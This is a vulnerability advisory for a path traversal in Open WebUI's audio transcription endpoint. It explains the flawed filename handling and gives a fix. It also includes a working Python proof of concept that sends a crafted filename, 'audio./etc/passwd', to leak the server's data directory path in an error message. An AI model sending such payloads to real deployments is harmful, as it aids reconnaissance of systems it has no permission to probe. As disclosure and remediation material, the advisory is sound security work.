CVE-2026-28786: Open WebUI vulnerable to Path Traversal in `POST /api/v1/audio/transcriptions`

Summary

An unsanitised filename field in the speech-to-text transcription endpoint allows any authenticated non-admin user to trigger a FileNotFoundError whose message — including the server's absolute DATADIR path — is returned verbatim in the HTTP 400 response body, confirming information disclosure on all default deployments.

Details

backend/openwebui/routers/audio.py:1197 extracts a file extension from the raw multipart filename using file.filename.split(".")[-1] with no path sanitisation. The result is concatenated into a filesystem path and passed to open():

python ext = file.filename.split(".")[-1] # attacker-controlled, no sanitisation filename = f"{id}.{ext}" # may contain "/" filepath = f"{filedir}/{filename}" with open(filepath, "wb") as f: f.write(contents)

If the filename is audio./etc/passwd, split(".")[-1] yields /etc/passwd and the assembled path becomes:

{CACHEDIR}/audio/transcriptions/{uuid}./etc/passwd

open() fails with FileNotFoundError. The outer except block at line 1231 returns the exception via ERRORMESSAGES.DEFAULT(e), leaking the full absolute path in the response body.

The MIME-type guard at line 1190 checks Content-Type (a separate multipart field) and does not constrain filename. Setting Content-Type: audio/wav satisfies the guard regardless of the filename value.

This handler is the only file upload path in the codebase that omits os.path.basename(). Both sibling handlers apply it explicitly:

python files.py:244 filename = os.path.basename(file.filename)

pipelines.py:206 filename = os.path.basename(file.filename)

Recommended fix — match the existing pattern and suppress path leakage in errors:

python audio.py:1197 — sanitise extension from pathlib import Path safename = Path(file.filename).name ext = Path(safename).suffix.lstrip(".") or "bin"

audio.py:1231 — suppress internal path in error response except Exception as e: log.exception(e) raise HTTPException(statuscode=400, detail="Transcription failed.")

---

PoC

Requirements: a running Open WebUI instance and one standard (non-admin) user account.

bash docker run -d -p 3000:8080 --name owui-test ghcr.io/open-webui/open-webui:latest wait ~30 s, register a standard user at http://localhost:3000 pip install requests

python import requests, sys

BASEURL = "http://localhost:3000" EMAIL = "user@example.com" PASSWORD = "changeme"

token = requests.post(f"{BASEURL}/api/v1/auths/signin", json={"email": EMAIL, "password": PASSWORD}, timeout=10).json()["token"]

boundary = "----Boundary" wavstub = b"RIFF\x00\x00\x00\x00WAVE" body = ( f'--{boundary}\r\nContent-Disposition: form-data; name="file"; ' f'filename="audio./etc/passwd"\r\nContent-Type: audio/wav\r\n\r\n' ).encode() + wavstub + f"\r\n--{boundary}--\r\n".encode()

resp = requests.post( f"{BASEURL}/api/v1/audio/transcriptions", data=body, headers={"Authorization": f"Bearer {token}", "Content-Type": f"multipart/form-data; boundary={boundary}"}, timeout=15, ) print(resp.statuscode, resp.text)

Observed output (live test, commit b8112d72b):

400 {"detail":"[ERROR: [Errno 2] No such file or directory: '/app/backend/data/cache/audio/transcriptions/59457ccf-…./etc/passwd']"}

The absolute DATADIR path is confirmed. Filesystem structure can be enumerated by varying traversal depth and observing which error messages change.

Note on the write primitive: the traversal path includes a fresh UUID segment ({uuid}.) that never pre-exists as a directory, so open() is OS-blocked in all practical scenarios. The impact is information disclosure only.

---

Impact Any authenticated, non-admin user on a default Open WebUI deployment can leak the server's absolute DATADIR filesystem path. The route is gated by getverifieduser — the lowest privilege tier — so every registered account is a potential attacker. Multi-tenant and shared deployments are most exposed.

AI Disclosure: Claude was used to draft this report and the PoC. The vulnerability was identified via manual static analysis of commit b8112d72b. All code references were verified by the reporter, who accepts full responsibility for accuracy.